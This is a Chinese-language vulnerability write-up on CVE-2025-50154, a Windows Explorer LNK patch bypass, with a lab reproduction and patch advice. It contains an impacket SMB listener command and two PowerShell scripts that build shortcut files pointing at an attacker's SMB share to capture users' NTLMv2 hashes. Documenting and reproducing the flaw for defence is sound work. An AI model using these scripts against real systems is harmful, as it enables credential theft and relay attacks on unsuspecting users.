前言
Windows文件资源管理器存在高危欺骗漏洞(CVE-2025-50154),攻击者可制作伪装成文档图标的恶意LNK文件,当用户仅尝试查看其所在文件夹时,便会触发资源管理器自动连接攻击者控制的远程SMB服务器,从而在用户无任何点击操作的情况下窃取其NTLMv2
认证凭证。
声明
在网络安全领域,技术文章应谨慎使用,遵守法律法规,严禁非法网络活动。未经授权,不得利用文中信息进行入侵,造成的任何后果,由使用者自行承担,本文作者不负责。提供的工具仅限学习使用,严禁外用。
一、NTLM介绍
NTLM是New Technology LAN Manager
的缩写,是微软用于确认用户身份和保护网络通信的身份验证协议系列。它通过直接的客户端-服务器质询/响应
过程工作,服务器发出质询,客户端在不通过网络传输实际密码的情况下证明其身份。
虽然NTLMv2
受到保护,可以抵御彩虹表和哈希传递等预计算攻击,但捕获的哈希仍可能被利用。攻击者可能尝试离线暴力破解它们,或使用中继攻击
——一种中间人方法,将窃取的哈希传递给另一个服务以作为用户登录。如果被入侵的账户具有提升的权限,这可能迅速导致权限提升和网络横向移动。
二、漏洞描述
该漏洞源于Windows资源管理器(explorer.exe)处理LNK文件图标资源的逻辑缺陷。微软在修复先前CVE-2025-24054时,仅阻断了基于UNC路径的远程图标加载,却未覆盖攻击者利用远程SMB共享中可执行文件内嵌图标(位于 .rsrc
段的RT_ICON
和RT_GROUP_ICON
资源)的场景。恶意LNK文件可通过将图标指向本地Shell32.dll
,同时将可执行路径指向远程SMB二进制文件,诱使资源管理器自动加载该远程文件以解析其图标资源,进而在用户无交互的情况下触发NTLM认证,导致NTLMv2-SSP
哈希泄露
三、漏洞机制
• 原始漏洞通过恶意 .lnk
快捷方式的 IconLocation
指向远程 UNC
路径触发 NTLM 认证
• 微软发布补丁阻止了基于 UNC
路径的图标渲染
• 新绕过手段:将 TargetPath
设置为远程可执行文件,IconLocation
使用本地 shell32.dll
三、影响范围
Windows 10 < 10.0.102400.21100
Windows 10 Version 1607 < 10.0.14393.8330
Windows 10 Version 1809 < 10.0.17763.7678
Windows 10 Version 21H2 < 10.0.19044.6216
Windows 10 Version 22H2 < 10.0.19045.6216
Windows 11 Version 22H2 < 10.0.22621.5768
Windows 11 Version 23H2 < 10.0.22631.5768
Windows 11 Version 24H2 < 10.0.26100.4946
Windows Server 2008 < 6.0.6003.23471
Windows Server 2008 R2 < 6.1.7601.27872
Windows Server 2012 < 6.2.9200.25622
Windows Server 2012 R2 < 6.3.9600.22725
Windows Server 2019 < 10.0.17763.7678
Windows Server 2022 < 10.0.20348.4052
Windows Server 23H2 Edition < 10.0.25398.1791
Windows Server 2025 < 10.0.26100.4946
四、漏洞复现
复现环境
KaLi Linux
未打补丁的Windows 10
KaLi Linux启动impacket渗透组件,开启一个SMB服务器来侦听传入的SMB连接
impacket-smbserver share . -smb2support
- impacket-smbserver:为对应的impacket组件
- share .:指将当前目录作为share共享
- smb2support:开启SMB服务支持
然后在受害机执行如下PowerShell脚本,新建一个PS脚本命名为test.ps1
,编辑为如下内容(脚本里面ip地址替换为kaliip地址)
# lnk文件的地址,若要复现请替换为自己的地址
$shortcutPath = "C:\Users\Divide\Desktop\lab.lnk"
# 目标程序的路径
$targetPath = "C:\Windows\System32\notepad.exe"
# 指定快捷方式使用的图标文件(.ico)的位置为远程地址,此处为关键点,只有设置为远程地址,才能让他访问我们开启的SMB服务器
$iconLocation = "\\127.0.0.1\share\icon.ico"
# 创建一个 Windows Script Host Shell 对象(通过 COM 组件 WScript.Shell)。
# 这个对象提供了操作快捷方式、环境变量、执行程序等能力。
# 将该对象赋值给变量$wShell,后续通过它来创建和管理快捷方式。
$wShell = New-Object -ComObject WScript.Shell
# 如果该路径已存在快捷方式,则会覆盖;如果不存在,则创建一个新的快捷方式对象
$shortcut = $wShell.CreateShortcut($shortcutPath)
# 设置快捷方式的“目标”属性,即点击快捷方式时要启动的程序路径
$shortcut.TargetPath = $targetPath
# 这里使用的是远程网络路径中的 .ico 图标文件
$shortcut.IconLocation = $iconLocation
# 对快捷方式对象的修改保存到磁盘中
$shortcut.Save()
Write-Output "Shortcut created at: $shortcutPath"
执行 test.ps1脚本出现报错
输入set-ExecutionPolicy RemoteSigned
即可
再次执行test.ps1脚本获取到主机用户Hash
对应补丁以及漏洞信息:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054
下载并安装补丁
Win+R键,输入winver查看对应windows版本
到网站下载补丁
下载完成后放到存在问题主机双击安装,完成后重启机器,可看到已存在补丁KB5053606
再次重复上面的复现步骤发现已无法获取到Hash值
五、Bypass-CVE-2025-50154
前面的CVE-2025-24054打上对应补丁之后,通过下面的方式可以实现绕过补丁修复
,具体实现步骤如下:
还是在kali中启用impacket组件的SMB服务
在前面的基础上只需要修改一下PowerShell生成LNK文件的方式即可更改脚本,使图标成为默认图标(Shell32.dll
),使可执行值成为可以检索到的远程文件路径。
# 文件创建
$shortcutPath = "C:\Users\Administrator\Desktop\1\lab.lnk"
# 这个exe可以不用存在,只要把kali的SMB服务启动即可,同时这个地址必须是远程kali地址
$targetPath = "\\192.168.48.129\share\calc.exe"
# 修改图标为本地白名单来绕过
$iconLocation = "C:\Windows\System32\SHELL32.dll"
$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()
Write-Output "Shortcut created at: $shortcutPath"
运行PowerSHell脚本,Kali Linux开启的SMB服务接收到Hash值
对应补丁以及漏洞信息如下:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-50154
也是一样下载下来之后进行安装
安装完后进行重启操作,输入systeminfo可见KB5063709
补丁更新已安装。
六、修复建议
目前 Microsoft Windows 官网发布了修复补丁,建议在影响范围的用户下载升级至安全版本。
下载地址:https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-50154